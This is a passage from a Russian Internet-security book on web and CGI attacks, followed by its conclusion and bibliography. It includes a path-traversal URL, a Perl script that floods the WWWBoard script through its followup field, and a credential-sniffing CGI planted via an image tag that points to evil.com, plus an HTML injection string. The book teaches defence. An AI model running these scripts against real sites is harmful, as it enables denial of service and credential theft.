Переменные, инициализированные вне программы, – это переменные, значения которых получены из параметров программы, со стандартного входа, из переменных среды. Причем эта «зараза» распространяется, если использовать зараженную переменную для инициализации другой переменной – та тоже станет зараженной. «Зараза» остается, даже если мы проверили переменную на отсутствие всех спецсимволов либо очистили ее от них.

Таким образом, мы устраняем возможность случайного пропуска пользовательского ввода в опасную функцию. Но как быть, если именно это нам и нужно?

Единственный способ «обеззаразить» переменную – воспользоваться регулярными выражениями и применить извлечение совпадающей подстроки при поиске по маске. Это не слишком удобно, зато торжествует принцип «все, что не разрешено, – запрещено». Заодно приобретете опыт использования регулярных выражений, что наверняка пригодится в будущем.

...

Регулярные выражения хорошо знакомы опытным пользователям UNIX, они применяются во многих UNIX-утилитах, таких как grep, awk, sed, в редакторах (vi, emacs), в некоторых командных оболочках и т. д. Дополнительную информацию об использовании регулярных выражений можно найти практически в любой книге по Perl (например: Рэндал Шварц и Том Кристиансен «Изучаем Perl» (Randal L. Schwartzh and Tom Christiansen. Learning Perl); «Programming Perl» by Larry Wall, Tom Christiansen & Randal Schwartz и «Mastering Regular Expressions» by Jeffrey Friedl).

$address =~ /(\w[\w\-.]*)\@([\w\-.]+)/; $cleanaddress = $1.’@’.$2;

Все, что сопоставится выражению в первых круглых скобках, будет занесено в переменную $1, во вторых – в $2, и т. д. Переменные $1 и $2 будут уже считаться обеззараженными, и мы можем смело конструировать из них наш искомый адрес. Да, эти переменные тоже были получены из пользовательских данных, но Perl считает, что раз их значение получено из регулярного выражения, значит, они прошли нашу проверку и можно о них не беспокоиться. Чтобы быть уверенными до конца, вставим в наш код проверку:

if($address =~ /(\w[\w\-.]*)\@([\w\-.]+)/)

{

$cleanaddress = $1.’@’.$2;

}

else

{

warn "Wrong address: $address"; #выдавая сообщение об ошибке на stderr

$cleanaddress = "";

}

Тем самым, правда, отсекаются вполне законные имена типа mama&papa@home.org. Менее строгая проверка вида address=~/(\S+)\@([\w.-]+)/ пропустит и метасимволы, сведя на нет все наши усилия по обеззараживанию. У вас может возникнуть желание обеззаразить переменную следующим образом:

$address =~ (.*); $cleanaddress = $1;

Что ж, вольному – воля. Вы только что отключили все проверки и взяли всю ответственность на себя.

При использовании зараженного режима неожиданно может возникнуть ситуация, когда Perl откажется запускать внешнюю программу, поскольку переменная окружения PATH, с помощью которой определяется местоположение исполняемого модуля, тоже считается зараженной. Чтобы справиться с этим, достаточно проинициализировать ее вручную одним из следующих способов:

1. $ENV{"PATH"} = ’/bin:/usr/bin:/usr/local/bin’;

2. $ENV{"PATH"} = ’’;

Ошибки в известных CGI-скриптах

Примеры некоторых таких скриптов уже приводились выше – это и печально известный phf, и formmail (кстати, все скрипты Мэтта Райта, которые можно найти на http://www.worldwidemart.com/scripts/, фильтруют SSI именно описанным выше способом). Перечислим еще несколько.

Старые версии (1.0–1.2) счетчика TextCounter, вставляющегося в страницу через CGI, получали адрес обсчитываемой страницы из переменной окружения DOCUMENT_URI, при этом не производилась проверка на метасимволы со всеми вытекающими последствиями.

Популярный счетчик wwwcount (http://www.fccc.edu/users/muquit/Count.html), написанный на С, содержал традиционную ошибку, связанную с копированием содержимого переменной окружения QUERY_STRING в буфер фиксированной длины. Передав ему специально сформированную строку, можно было выполнить на сервере любой код. Затронуты версии 1.0–2.3. Версия 2.3 также содержала ошибку, позволяющую просмотреть на сервере любой GIF-файл с помощью следующего запроса:

http://www.victim.com/cgi-bin/Count.cgi?display=image&image=../../../../../../path_to_gif/file.gif.

Впрочем, возможность применения последней ошибки не совсем ясна… В конце 1997 года была обнаружена ошибка в поисковой машине Excite, которая тоже не утруждала себя фильтрацией метасимволов (в версиях 1.0–1.1).

Рассмотрим чуть поподробнее популярный скрипт WWWBoard, наглядно демонстрирующий практически все промахи, которые только может допустить cgi-программист. Все ошибки, перечисленные ниже, относятся к последней версии скрипта.

Первый недостаток – популярность скрипта. Он, несомненно, остается одним из самых распространенных скриптов для досок объявлений, несмотря на то, что ему на смену приходят более современные и обладающие большими возможностями реализации.

Поэтому первое, что должен сделать человек, желающий использовать WWWBoard, – перенести файл с паролем администратора в безопасное место, а собственно скрипт администрирования – либо переименовать, либо перенести в защищенный от общего доступа каталог. Иначе ваша доска объявлений станет хорошим полигоном для исследований возможностей того же John the Ripper (см. главу 9), потому что пароль администратора доски хранится в этом файле зашифрованным с помощью стандартной функции crypt (как правило, шифрующей пароль с помощью алгоритма DES, впрочем, в некоторых реализациях Perl для Win32 эта функция просто возвращает без изменений переданную ей строку). После чего вы можете с удивлением обнаружить, что кто-то удалил все записи на вашей доске, и порадоваться, что у средств администрирования WWWBoard нет никаких возможностей, кроме удаления неугодных записей.

Это, собственно, не ошибка автора скрипта, а всего лишь потенциальная ошибка конфигурирования, которую тем не менее допускают очень многие.

Теперь об ошибках. Основной код выглядит следующим образом:

# Get the Data Number

&get_number;

# Get Form Information

&parse_form;

# Put items into nice variables

&get_variables;

# Open the new file and write information to it.

&new_file;

# Open the Main WWWBoard File to add link

&main_page;

# Now Add Thread to Individual Pages

if ($num_followups >= 1) {

&thread_pages;

}

# Return the user HTML

&return_html;

# Increment Number

&increment_num;

Обратите внимание на пару функций get_number/increment_number. Код первой:

sub get_number {

open(NUMBER,"$basedir/$datafile");

$num = <NUMBER>;

close(NUMBER);

if ($num == 99999) {

$num = "1";

}

else {

$num++;

}

Код второй:

sub increment_num {

open(NUM,">$basedir/$datafile") || die $!;

print NUM "$num";

close(NUM);

}

Приведенные функции считывают из файла $datafile номер последнего сообщения, увеличивают его и сохраняют. Причем в промежутке между их вызовами обрабатывается пользовательский ввод, формируется новое сообщение, ссылка на него добавляется в главный файл доски и т. д. На небольших досках это не приведет к большим проблемам. На досках же с большой посещаемостью и с разросшимся главным файлом время выполнения скрипта существенно отличается от нуля, и вероятность того, что очередной посетитель отправит следующее сообщение до того, как скрипт обработает предыдущее, сильно возрастает (для этого даже необязательно ждать другого посетителя, вполне достаточно и одного, несколько раз нажавшего Submit). В итоге на доске появятся два сообщения с одинаковыми номерами, причем ответы на них будут продублированы. Это характерный пример игнорирования многопользовательской природы WWW. Первые строчки функции main_page, занимающейся добавлением заголовка сообщения на главную страницу доски, выглядят так:

open(MAIN,"$basedir/$mesgfile") || die $!;

@main = <MAIN>;

close(MAIN);

Другими словами, при добавлении записи вся доска считывается в память, после чего файл открывается еще раз и в него записывается уже обновленная версия доски. Эта же техника используется и в скрипте администрирования (и, между прочим, в скрипте гостевой книги того же автора). На больших досках это может привести к самым разным результатам (в зависимости от сервера, платформы, реализации интерпретатора perl): к уничтожению информации на доске, замедлению работы сервера (вплоть до замораживания системы) и т. п. Дополнительную уязвимость доске придает то, что большое количество критической информации хранится непосредственно в сообщении – в виде скрытых полей. В частности, в поле followup хранятся номера сообщений, предшествовавших текущему в «потоке», а также номер текущего сообщения – чтобы можно было их скорректировать после добавления очередного сообщения:

Небольшие манипуляции с этим полем могут привести к разным последствиям, самое безобидное из них – засорение доски с помощью указания в строке followup номеров сообщений, не имеющих отношения к текущему. Если же мы сформируем следующее значение («2, 2, 2»), то уже после отправления первого сообщения на главной странице доски к записи с этим номером добавится один ответ, а также три записи вида (N), показывающие количество ответов. В теле самого сообщения уже будут видны три ссылки на один и тот же ответ. Если мы отправим это же сообщение во второй раз, то на главной странице получим девять записей (N) и еще две ссылки.

Другими словами, отправление N сообщений с followup, содержащим M упоминаний сообщения k, приведет к записи в файл главной страницы MN записей вида (<!–responses: k–>N). Так, followup типа «2,2,2,2,2,2,2,2,2,2», отправленный девять раз, даст нам 21 х 109 байт одних только скобочек с номерами, а объем информации, переданной с клиента, не превысит и килобайта. В сочетании с предыдущей ошибкой получаем эффективное средство атаки на сервер.

Разумеется, можно попытаться поставить заслон атакующему, проверяя HTTP_REFERER и отвергая сообщения, посланные не с нашего сервера, но, как сказано выше, HTTP_REFERER легко подделать. На примере следующей атаки рассмотрим использование метода POST:

#!/usr/bin/perl

use Socket;

$port=80;

$remote="www.victim.com";

$path="/cgi-bin/wwwboard.pl";

$name="Some name";

$email="my@mail";

$subject="great page!";

$body="Nice page, guys!";

$followup="2,2,2,2,2,2,2,2,2,2,2,2,2,2";

$timestopost=10;

$forminfo = "name=$name&email=$email&followup=$followup&subject=$subject&body=$body";

$forminfo =~ s/\,/\%2C/g;

$forminfo =~ tr/ /+/;

$length = length($forminfo);

$submit = "POST $path HTTP/1.0\r\nReferer: $url\r\n".

"User Agent: Mozilla/4.07 (Win95; I)\r\n".

"Content-type: application/x-www-form-urlencoded\r\n".

"Content-length: $length\r\n\r\n$forminfo\r\n";

for($i=1; $i <= $timestopost; $i++)

{

&post_message;

print "$i message(s) posted.\n";

}

sub post_message

{

$iaddr = inet_aton($remote) || die("Failed to find host: $remote");

$paddr = sockaddr_in($port, $iaddr);

$proto = getprotobyname("tcp");

socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die("Failed to open socket: $!");

connect(SOCK, $paddr) || die("Unable to connect: $!");

send(SOCK,$submit,0);

close(SOCK);

}

Единственный способ реально «залатать» скрипт – вставить проверку повторяющихся номеров сообщений в followup, но и это не решит проблему окончательно.

Использование серверных приложений для атаки на клиента

Ситуация, когда Web-мастер сознательно занимается атакой своих посетителей, является патологической. Гораздо чаще используются ошибки cgi-скриптов для атаки других посетителей (или для создания им серьезных неудобств).

Безопасность личной информации

В то время как IP-адрес сервера должен быть доступен всем клиентам, желающим воспользоваться его услугами, клиент вовсе не обязан афишировать везде свой адрес. И для того, чтобы начать на него атаку, нужно каким-то образом определить его адрес. В разделе «Атака на клиента» мы уже описывали некоторые клиентские приложения, существенно облегчающие задачу злоумышленникам, однако даже пользователь, не имеющий на своей машине ничего, кроме браузера, довольно уязвим.

Ваш любимый браузер при заходе на любую страницу сообщает о себе весьма много информации.

На простом примере покажем скрипт на Perl, выводящий основную информацию о посетителе страницы:

#!/usr/bin/perl

print ("Content-type: text/html\n\n");

@ee=(

"CHARSET", #кодировка

"HTTP_USER_AGENT", #тип браузера

"HTTP_REFERER", #страница, с которой вызван скрипт

"REMOTE_ADDR", #адрес клиента

"REMOTE_HOST", #хост клиента

"HTTP_X_FORWARDED_FOR" #адрес клиента, возвращаемый

# proxy-сервером

);

foreach $e(@ee)

{

print "<b>$e</b>: $ENV{$e}<br>\n";

}

Часть информации – CHARSET, USER_AGENT и HTTP_REFERER – передается клиентом и, следовательно, может быть подделана (или скрыта, все зависит от точки зрения), с чем успешно справляются proxy-серверы и программы наподобие JunkBuster или @Guard. REMOTE_ADDR и REMOTE_HOST могут быть скрыты с помощью proxy-серверов, многие из которых возвращают реальный адрес клиента в X_FORWARDED_FOR.

Другой источник утечки информации – cookies. Технически cookie представляет собой строку символов, которую сервер может сохранить на диске клиента, с тем чтобы в дальнейшем ее считать. С точки зрения безопасности практически единственная проблема, связанная с cookies, заключается в том, что они могут быть отправлены на сервер при помощи JavaScript, и, следовательно, с их помощью может быть передана вся информация, доступная в JavaScript. Впрочем, то же самое можно проделать и при помощи скрытых форм. Предельный размер каждого cookie определен в 4 Кб, а для каждого сервера допускается не более 20 cookies. Информация, записанная сервером в cookie, считывается только этим же сервером и используется преимущественно в мирных целях, например для идентификации пользователей в online-магазине, для сохранения настроек и т. п.

С другой стороны, далеко не всем нравится, что сервер что-то пишет на диск без ведома пользователя, да и не всех устраивает, что с помощью cookie очень легко отследить маршрут передвижения посетителя по серверу, его привычки и т. д. Последнее очень важно в связи с распространением баннерных сетей, код которых находится на каждой второй странице WWW и которые могут установить – и устанавливают – свои cookies, позволяя проводить более масштабные маркетинговые исследования.

Проблемы идентификации

Предположим, мы пишем скрипт доски объявлений (или Web-чата) и хотим предусмотреть в нем возможность регистрации: чтобы пользователь мог ввести свои имя и пароль и после проверки получить право записи на доску. Вариант решения – формировать все страницы динамически с помощью скрипта, а имя пользователя записывать в скрытое поле для того, чтобы вставлять его в сообщение автоматически. Затем пользователь Vasya, честно пройдя регистрацию, дает команду View source и видит следующий код:

…

</form>

Далее он копирует его себе на диск и слегка подправляет:

…

</form>

После чего от имени невинного пользователя Petya делает свое черное дело и забивает нашу доску мусором. Наученные горьким опытом, мы начинаем хранить в скрытом поле не только имя, но и пароль. Далее все зависит от того, насколько вы позаботились о безопасности своих пользователей. К примеру, Vasya может написать следующий скрипт (назовем его sniff.cgi):

#!/usr/bin/perl

$log = "snifflog.txt";

$now_string = localtime;

@thetime = split(/ +/,$now_string);

@theclock = split(/:/,$thetime[3]);

$ampm = ’am’;

if ($theclock[0] > 11)

{ $ampm = ’pm’; }

if ($theclock[0] == 0)

{ $theclock[0] = 12; }

if ($theclock[0] > 12)

{ $theclock[0] -= 12; }

else

{ $theclock[0] += 0; }

$lnum=$ENV{’QUERY_STRING’};

open (DB, "$log") || die "Can’t Open $log: $!\n";

flock(DB, 2);

@line=<DB>;

flock(DB, 8);

close(DB);

$value = $ENV{’HTTP_REFERER’};

$value =~ tr/+/ /;

$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

$line0="[$thetime[0] $theclock[0]\:$theclock[1]$ampm] (".$lnum.") ".

$ENV{’REMOTE_ADDR’}." ".$ENV{’REMOTE_HOST’}." ".$ENV{’HTTP_X_FORWARDED_FOR’}."

[".$value."]";

$maxline=@line;

$maxline=30 if ($maxline>30);

open (DB, ">$log") || die "Can’t Open $log: $!\n";

flock(DB, 2);

print DB ("$line0\n");

for ($i=0; $i<$maxline; $i++)

{

print DB ("$line[$i]");

}

flock(DB, 8);

close(DB);

print "Location: http://somehost/somepic.gif\n\n";

Затем он установит его на каком-либо сервере, разрешающем запуск cgi-приложений, и добавит на нашу доску код вида <img src="http://www.evil.com/cgi-bin/sniff.cgi"> (либо просто установит у себя на машине Web-сервер, вставит код <img src="http://vasya.home.host/somepic.gif"> и начнет изучать log-файл своего сервера). После чего все зашедшие на эту страницу исправно сообщат sniff.cgi, кто они, откуда и т. д. В частности, поскольку мы выбрали в качестве метода передачи данных GET, HTTP_REFERER будет содержать и имя, и пароль пользователя. Между прочим, очень многие Web-чаты до сих пор имеют этот недостаток. Дальнейшее уже зависит от политики в отношении вставки html-тэгов. Мы можем махнуть рукой и отдать нашу доску на растерзание, можем запретить все тэги, завести список запрещенных или разрешенных тэгов. Выбрав путь фильтрации, важно фильтровать весь пользовательский ввод, не рассчитывая, например, на то, что, если вы сделали в своем чате выпадающий список, позволяющий выбрать цвет, никому не придет в голову передать вместо ожидаемой строки с кодом цвета строчку вида

color"><img src="..."><

Впрочем, даже после этого мы не застрахованы, к примеру, от того, что Vasya, находясь в одной локальной сети с Petya, не установит там анализатор сетевого трафика и не подсмотрит всю критичную информацию. При более серьезном объекте атаки, чем гостевая книга или Web-чат, и последствия более серьезные – достаточно представить на их месте Web-магазин либо систему управления банковским счетом.

Приведенные примеры являются лишь одной стороной общей проблемы идентификации в Internet. Несмотря на то что среднестатистический пользователь оставляет в Сети массу сведений о себе, мы не можем быть уверенными в том, что два захода с одного и того же адреса принадлежат одному и тому же пользователю, и наоборот, что один и тот же пользователь не может зайти с разных адресов.

Все предлагаемые решения этой проблемы имеют те или иные недостатки:

1. Средства аутентификации пользователей, встроенные в серверы, являются наиболее очевидным решением. В IIS разграничение доступа осуществляется средствами файловой системы, в Apache защита ставится на уровне каталогов путем размещения в общем каталоге конфигурационного файла (в разделе <Directory>) либо в локальных конфигурационных файлах (.htaccess) соответствующих директив, описывающих пути до файлов с именами групп, пользователей и паролей, а также права доступа для разных групп. После чего можно просто считать в нашем скрипте имя пользователя из переменной окружения REMOTE_USER. Этот подход имеет два минуса. Во-первых, далеко не всегда нам нужно что-то большее, чем простая идентификация пользователя. При дневном трафике в несколько десятков тысяч человек нам ни к чему заводить для каждого пользователя свою учетную запись. Но даже если нам потребуется аутентификация, мы столкнемся с проблемой открытой передачи паролей, потенциально приводящей к возможности их перехвата. Если же использовать средства более строгого шифрования паролей (digest-аутентификация в Apache, NT Challenge/Response в IIS), то есть вероятность столкнуться с несовместимостью и с юридическими проблемами (SSL).

2. Очень часто используются самодельные механизмы аутентификации, хранящие, как показано выше, имя и пароль пользователя непосредственно в спрятанных полях формы. Недостаток тут тот же – возможность перехвата. Неплохим решением является предварительная шифровка пароля, привязанная к IP-адресу пользователя, что сокращает возможности перехвата, хотя и не исключает его. Именно эта схема была реализована в скриптах управления пользовательским счетом баннерной системы Russian Link Exchange, занимающейся показами рекламных заставок – баннеров – на Web-серверах, однако в начале февраля 1999 в ней была обнаружена неприятная особенность. Оказалось, что зашифрованный пароль привязывался только к IP-адресу, сам же пароль по оплошности программиста выпадал из поля зрения. В итоге каждый пользователь системы мог получить доступ к любому счету. Публикация этого факта на открытых списках рассылки привела к громкому скандалу в узких кругах и ряду инцидентов, связанных с неправомочным переводом показов с одного счета на другой. К чести администрации системы следует заметить, что ошибка была исправлена в течение считанных часов, а все пострадавшие получили свои показы назад.

3. Еще одно решение, когда после первого входа в систему генерируется некоторый случайный идентификатор пользователя, никак не связанный с его именем или паролем. Идентификатор запоминается в базе сервера и записывается все в то же скрытое поле формы. При очередном обращении клиента проверяется, был ли уже зарегистрирован этот пользователь. Для предотвращения накопления в базе уже отключившихся пользователей вводится некоторая задержка и счетчик времени для каждого пользователя, хранящий время последнего обращения. Если время ожидания очередного запроса превысило задержку, пользователь из базы удаляется. Естественно, при каждом запросе счетчик времени обновляется. Данный способ наиболее эффективен именно в ситуации идентификации, а не аутентификации.

4. Наиболее популярный и достаточно надежный на сегодня способ, практически исключающий хранение информации в полях формы, – использование при идентификации сочетания IP-адреса пользователя и идентификатора, хранящегося вместе с прочей информацией в cookies. Основная проблема тут в нескольких процентах посетителей, отключающих cookies. Поэтому главную роль здесь играет мотивация – такому пользователю должна быть предъявлена убедительная причина, чтобы он включил их поддержку обратно.

Итак, подключаясь к Internet или открывая свой Web-сервер, вы всегда идете на некоторый риск. Устранить его полностью невозможно, но в ваших силах постараться свести риск до разумного минимума и не стать главным его источником. Надеемся, что в этом вам помогут материалы настоящей главы.

Заключение

Заканчивая чтение предложенного материала об особенностях информационной безопасности Internet, читатель вправе спросить: Что же делать? Каковы реальные возможности защиты Internet? Как использовать Internet и свести риск до допустимых пределов? Список вопросов, конечно, можно продолжить. Сразу оговоримся, что для ответа на них необходимо написать еще одну книгу. Однако в кратком виде наше мнение по этому поводу изложим здесь.

Безопасность Internet

Изначально Сеть создавалась как незащищенная открытая система, предназначенная для информационного общения постоянно возрастающего числа пользователей. При этом подключение новых пользователей должно было быть максимально простым, а доступ к информации – наиболее удобным, что явно противоречит принципам создания защищенной системы, безопасность которой должна быть описана на всех стадиях ее создания и эксплуатации, а пользователи – наделены четкими полномочиями. Создатели Internet не стремились к этому, да и требования защиты настолько бы усложнили проект, что сделали бы его реализацию вряд ли возможной.

Вывод: Сеть Internet создавалась как незащищенная система, не предназначенная для хранения и обработки конфиденциальной информации. Более того, защищенная Сеть не смогла бы стать информационным образом мировой культуры, ее прошлого и настоящего – в этом самостоятельная ценность Internet, и, возможно, отсутствие необходимой безопасности есть плата за такое высокое назначение.

Следствие: Многие пользователи заинтересованы в том, чтобы глобальная сеть стала системой с категорированной информацией и полномочиями пользователей, подчиненными установленной политике безопасности.

Однако наиболее яркие творения человеческого разума через некоторое время начинают жить самостоятельно, развиваясь и выходя за первоначальные замыслы создателей. Поэтому слабая защищенность Сети все сильнее беспокоит ее пользователей, особенно в связи с появлением электронной коммерции.

Будет ли Сеть защищенной

И да, и нет. В Internet постоянно, но очень медленно (сказывается отсутствие централизованного управления) будут появляться все новые и новые средства сетевой защиты, защищенные протоколы обмена и т. д. Все это естественным путем повысит общий уровень защищенности, однако говорить о безопасной Сети в целом даже в ближайшее десятилетие было бы, на наш взгляд, неразумно. Тем не менее Internet – защищена ли Сеть или нет – как глобальная информационная среда всемирного общения является одним из величайших достижений человечества в подходящем к концу XX столетии.

Перечень информационных ресурсов Internet, посвященных вопросам информационной безопасности

Зарубежные сайты

First (Forum of Incident Response and Security Teams): http://www.first.orq

CERT (Computer Emergensy Response Team): http://www.cert.ora

CIAC (Computer Incident Advisory Capability): http://ciac.llnl.gov

NASIRC (NASA Automated Systems Incident Response Capability): http://nasirc.nasa.aov

DoD Information Analysys Center (IAC): http://www.dtic.dla.mil/iac

NSA (National Security Agency): http://www.nsa.aov:8080

FBI Computer crime information: http://www.fbi.aov/compcrim.html

COAST (Computer Operations, Audit, and Security Technology): http://www.cs.purdue.edu/coast

Отечественные сайты

СЦЗИ (Специализированный центр защиты информации при СПбГТУ): http://www.ssl.stu.neva.ru

Spy Market Pro: http://www.spymarket.com

HackZone: http://www.hackzone.ru

НПО «Информзащита»: http://www.infosec.ru

ИКСИ (Институт криптографии, связи: http://www.fssr.ru

Библиотека сетевой безопасности: http://secijrity.tsu.ru

Частная жизнь в Интернете: http://www.tamos.com/privacy/ru/

Использованная литература

1. Гайкович В., Першин А. Безопасность электронных банковских систем. – М.: Издательство «Единая Европа», 1994.

2. Клименко С., Уразметов В. Internet. Среда обитания информационного общества. – М.: Российский центр физико-технической информатики, 1995.

3. Лори Б., Лори П. Apache / Перевод с англ. – К.: Издательская группа BHV, 1997.

4. Люцарев В. С. и др. Безопасность компьютерных сетей на основе Windows NT. – М.: Издательский отдел «Русская редакция», 1998.

5. Маркоф Д., Хефнер К. Хакеры. – К.: Полиграфкнига, 1996.

6. Найк Д. Стандарты и протоколы Интернета / Перевод с англ. – М.: Издательский отдел «Русская редакция» ТОО «Channel Trading Ltd», 1999.

7. Ростовцев А. Г. Элементы криптологии. – СПб.: Издательство СПбГТУ, 1995.

8. Соболев К. Исследование системы безопасности в Windows NT // Hackzone – территория взлома, № 1–2, 1998.

9. Спейнаур С., Куэрсиа В. Справочник Web-мастера / Перевод с англ. – К.: Издательская группа BHV, 1997.

10. Столл К. Яйцо кукушки, или Преследуя шпиона в компьютерном лабиринте. – М.: Издательский центр «Гарант», 1996.

11. Теория и практика обеспечения информационной безопасности / Под ред. П. Д. Зегжды. – М.: Издательство «Яхтсмен», 1996.

12. Шварц Р., Кристиансен Т. Изучаем Perl / Перевод с англ. – К.: Издательская группа BHV, 1998.

13. Bell Labs Computer Science Technical Report #117, February 25, 1985.

14. Bellovin S. Security Problems in the TCP/IP Protocol Suite. Computer Communications Review 2:19, р. 32–48, April 1989.

15. CIAC information bulletin H-07: Sendmail SIGHUP-smtpd Vulnerability. http://ciac.llnl.gov/ciac/bulletins/h-07.shtml.

16. CIAC information bulletin H-23: Sendmail MIME Conversion Buffer Overrun Vulnerability. http://ciac.llnl.gov/ciac/bulletins/h-23.shtml.

17. CIAC information bulletin H-34: Vulnerability in innd. http:// ciac.llnl.gov/ciac/bulletins/h-34a.shtml.

18. CIAC information bulletin E-17: FTP Daemon Vulnerabilities. http:// ciac.llnl.gov/ciac/bulletins/e-17.shtml.

19. CIFS: Common Insecurities Fail Scrutiny, 1997.

20. Cohen F. B. Packet Fragmentation Attacks. TCP/IP networks Source: http://all.net.

21. Eichin M. W., Rochils J. A. With Microscope and Tweezers: An Analysis of the Internet Virus of November, 1988.

22. Farmer D., Venema W. Improving the Security of Your Site by Breaking Into it. ftp://ftp.porcupine.org/pub/security/admin-guide-to-cracking. 101.Z, 1993.

23. Garfinkel S., Spafford G. Practical UNIX Security. O\'Reily&Associates Inc., 1994.

24. Gundavaram S. CGI Programming on the World Wide Web. O\'Reily&Associates, 1996.

25. Howard J. D. An Analysis of Security Incidents on the Internet. Pittsburgh, Pennsylvania, 15213 USA, 1997.

26. Klaus C. A Guide to Internet Security: Becoming an Uebercracker and Becoming an UeberAdmin to stop Uebercrackers. http://security.tsu.ru/info/unix/uber.htm, 1993.

27. Landwehr C. E., Bull A. R., McDermott J. P., and Choi W. S. A Taxonomy of Computer Security Flaws, with Examples. Information Technology Division, Code 5542, Naval Research Laboratory, Washington, D.C. 20375-5337.

28. Lange L. «Hack» punches hole in Microsoft NT security. EE Times, 31.03.97.

29. Miller B. P. Fuzz Revisited: A Re-examination of the Reability of UNIX Utilities and Services. CS-TR-95-1268, April 1995.

30. Morris R. T. A Weakness in the 4.2 BSD UNIX TCP/IP Software. Computing Science Technical Report No. 117, AT&T Bell Laboratories, Murray Hill, New Jersey, 1985.

31. Ranum M. J. A Taxonomy of Internet Attacks. http://www.clark.net/pub/mjr/pubs/attck/index.shtml, 1997.

32. Spafford E. H. The Internet Worm Program: An Analysis. ftp://coast.cs.purdue.edu/pub/doc/morris_worm/spaf-IWorm-paper-CCR.ps.Z.

33. The World Wide Web Security FAQ by Lincoln D. Stein. http://www.w3.org/Security/Faq/.

34. Wall L., Christiansen T., Schwartz R. Programming Perl. O\'Reily&Associates, 1996.

Илья Давидович Медведовский, Павел Валентинович Семьянов, Дмитрий Геннадьевич Леонов Атака на Internet

Предисловие

Часть I Хакеры и кракеры

Глава 1 О хакерах и не только…

...

Глава 2 Социальная инженерия и ее применение

Часть II Протоколы

Глава 3 Удаленные атаки на распределенные вычислительные системы

Глава 4 Удаленные атаки на хосты Internet

...

...

...

...

...

...

...

...

...

...

...

Глава 5 Методы удаленного сканирования портов

...

...

...

...

Глава 6 Причины успеха удаленных атак

Глава 7 Безопасные распределенные вычислительные системы

...

...

...

...

...

...

...

...

...

...

...

...

...

...

Глава 8 Как защититься от удаленных атак в сети Internet

...

Часть III Операционные системы и приложения

Глава 9 Прошлое и настоящее сетевых операционных систем

...

...

...

...

...

...

...

...

...

...

...

Глава 10 Атака через WWW

...

...

Заключение

Перечень информационных ресурсов Internet, посвященных вопросам информационной безопасности

Использованная литература

Оглавление

Илья Давидович Медведовский, Павел Валентинович Семьянов, Дмитрий Геннадьевич Леонов
Атака на Internet